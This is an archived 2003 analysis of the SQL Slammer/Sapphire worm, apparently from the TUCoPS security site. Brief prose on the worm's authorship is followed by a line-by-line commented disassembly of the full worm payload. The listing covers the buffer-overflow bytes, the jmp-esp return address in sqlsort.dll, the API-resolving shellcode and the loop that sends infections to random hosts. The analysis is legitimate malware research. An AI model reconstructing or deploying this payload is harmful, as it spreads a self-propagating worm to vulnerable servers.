Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Malware :: sapph.txt

Sapphire/Slammer Worm Analysis





As everyone else wants to know, I wonder who initiated the spread of
the Sapphire/Slammer Worm. Originally, it was assumed that someone or
group with a signature of NOP did and this theory was quickly rebuffed
by experts from eEye experts
(http://news.com.com/2100-1001-982284.html)
and Mr. David Litchfield (http://news.com.com/2100-1001-982663.html).

From the analysis of the whole SQL Slammer, it is quite obvious
(http://members.rogers.com/yinrong/articles/SQLSlammer.htm) that some
bytes can be left out without affecting the infectiousness of this
worm. Then, why did the author(s) leave the uncecessary bytes in? Did
the author(s) want to show where the Worm was derived from?

Another set of questions is how the author(s) released the worm? Did
the author(s) release by aimly randomly at machines on the Internet or
targeting a few selected machines? If the author(s) only selected a
few machines, how could the author(s) of this worm know these machines
were vulnerable? Can just scanning at UDP port 1434 reveal the
vulnerability of the machine?

By the way, the SQL 2000 SP3 probably fixed the buffer overflow
problem. However, the addresses for the LoadLibrary and GetProcAddress
remains valid for this worm. Oh, NO! The critical "JMP ESP" still
stays at the same location. Unbelievable. So, if there is another
buffer overflow in SQL 2000 SP3, then the worm does not have to mutate
much to be effective. That is scary, isn't it?

Thanks for reading.

Peter Huang

================== PH Analysis and Comparison
===========================
000         db 4            ; the signature request byte for SQL
server
001         60h dup(1)      ; buffer buster, original C contains
                            ; AAAA BBBB CCCC DDDD EEEE FFFF
                            ; GGGG HHHH IIII JJJJ KKKK LLLL
                            ; MMMM NNNN OOOO PPPP QQQQ RRRR
                            ; SSSS TTTT UUUU VVVV WWWW XXXX
                            ; SQL Slammer contains 60H byte-long of 1
 
061         dd 42B0C9DCh    ; Quoted below from the original C file
                            ; Overwrite the saved return address on
the stack
                            ; This address contains a jmp esp
instruction
                            ; and is in sqlsort.dll.
                            ; jmp esp = FF E4 (By the way, there are
two places
                            ; of FF E4 in the executable section in
the SP3
                            ; sqlsort.dll
 
; ===================== LEFT OVER
============================================
; PH> ---- unnecessary left-over from the original C code -----------
; PH> probably intentionally left here to show where this virus
; PH> is derived from. It is believed that the author(s) knew the
following
; PH> from 065h to 07Dh is useless. Some so-called experts claimed
earlier
; PH> that the 8 NOPs is the signature and rebuffed by eEye experts.
; PH> Instead, PH assumes that 6 byte long of 01h is more or less a
signature
; PH> in consideration of the 60h byte long of 01h. But PH is not an
expert at all.
; PH> So, it is a pure guess as good as that by anyone else. From the
perspective
; PH> of code efficiency, 01010101 is a normal choice as other hex
numbers.
; PH>
065 ; ---------------------------------------------------------------------------
065         jmp short loc_75    ; original "Need to do a near jump",
not needed
065 ; ---------------------------------------------------------------------------
067         db 6 dup(1)     ; original "ABCDEF", now 01 01 01 01 01 01
06D         dd 42AE7001h    ; original addresses, not used here
071         dd 42AE7001h
075 ; ---------------------------------------------------------------------------
075
075 loc_75:
075         nop             ; original 8 nops. Unknown reasons for
them
076         nop             ; It is guessed that this will guanrantee
the code
077         nop             ; will work even though the calculatation
                            ; above "jmp short loc_75" gets minor
error
078         nop
079         nop
07A         nop
07B         nop
07C         nop
; ===================== LEFT OVER
============================================
 
07D         push    42B0C9DCh   ; the return address
082         mov eax, 1010101h   ; 18h * 4 = 60h of 01h bytes for
buffer buster
087         xor ecx, ecx
089         mov cl, 18h
08B
08B loc_8B:
08B         push    eax
08C         loop    loc_8B
08E         xor eax, 5010101h
093         push    eax         ; eax = 4000000 for the request byte
094         mov ebp, esp        ; now EBP + 3 is address for virus for
178
 
; ---------------  Run-Time Dynamic Linking and initialization
---------
096         push    ecx
097         push    6C6C642Eh
09C         push    32336C65h
0A1         push    6E72656Bh   ; EBP - 10 points to "kernel32.dll"
ASCII string
0A6         push    ecx
0A7         push    746E756Fh
0AC         push    436B6369h
0B1         push    54746547h   ; EBP - 20 points to "GetTickCount"
ASCII string
0B6         mov cx, 6C6Ch
0BA         push    ecx
0BB         push    642E3233h
0C0         push    5F327377h   ; EBP - 2C points to "ws2_32.dll"
ASCII string
0C5         mov cx, 7465h
0C9         push    ecx
0CA         push    6B636F73h   ; EBP - 34 points to "socket"
0CF         mov cx, 6F74h
0D3         push    ecx
0D4         push    646E6573h   ; EBP - 3C points to "sendto"
0D9         mov esi, 42AE1018h
0DE         lea eax, [ebp-2Ch]
0E1         push    eax
0E2         call    dword ptr [esi]
0E4         push    eax
0E5         lea eax, [ebp-20h]
0E8         push    eax
0E9         lea eax, [ebp-10h]
0EC         push    eax
0ED         call    dword ptr [esi]
0EF         push    eax
0F0         mov esi, 42AE1010h
0F5         mov ebx, [esi]
0F7         mov eax, [ebx]
0F9         cmp eax, 51EC8B55h
0FE         jz  short loc_105
100         mov esi, 42AE101Ch
105
105 loc_105:
105         call    dword ptr [esi]
107         call    eax
109         xor ecx, ecx
10B         push    ecx
10C         push    ecx
10D         push    eax
10E         xor ecx, 9B040103h
114         xor ecx, 1010101h
11A         push    ecx
11B         lea eax, [ebp-34h]
11E         push    eax
11F         mov eax, [ebp-40h]
122         push    eax
123         call    dword ptr [esi]
125         push    11h
127         push    2
129         push    2
12B         call    eax
12D         push    eax
12E         lea eax, [ebp-3Ch]
131         push    eax
132         mov eax, [ebp-40h]
135         push    eax
136         call    dword ptr [esi]
138         mov esi, eax
13A         or  ebx, ebx
13C         xor ebx, 0FFD9613Ch
142
; ---------------  The deadly loop sends out infections
----------------
142 loc_142:
142         mov eax, [ebp-4Ch]
145         lea ecx, [eax+eax*2]
148         lea edx, [eax+ecx*4]
14B         shl edx, 4
14E         add edx, eax
150         shl edx, 8
153         sub edx, eax
155         lea eax, [eax+edx*4]
158         add eax, ebx
15A         mov [ebp-4Ch], eax
15D         push    10h
15F         lea eax, [ebp-50h]
162         push    eax
163         xor ecx, ecx
165         push    ecx
166         xor cx, 178h
16B         push    ecx
16C         lea eax, [ebp+3]
16F         push    eax
170         mov eax, [ebp-54h]
173         push    eax
174         call    esi
176         jmp short loc_142
 
====================== REFERENCES =================================
; http://www.eeye.com/html/Research/Flash/AL20030125.html for details
as well
; as the assembly explanation
;
; For the random number generator as well as its implementation errors
(or
; intentional to be that way), please check
http://www.caida.org/analysis/security/sapphire/
;
; For the original article C source code, please check
; http://maclux-rz.uibk.ac.at/~maillists/vuln-dev/msg04756.shtml
;
; For the modified C article widely credited to Lion in the China Red
Honker
; Association, please check
http://www.cnhonker.net/Files/show.php?id=167.
;
; By the way, I read a report in which the Lion disclaimed his
responsibility
; for the SQL Slammer infection. I regret that I did not save that
link or
; print it out.



TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH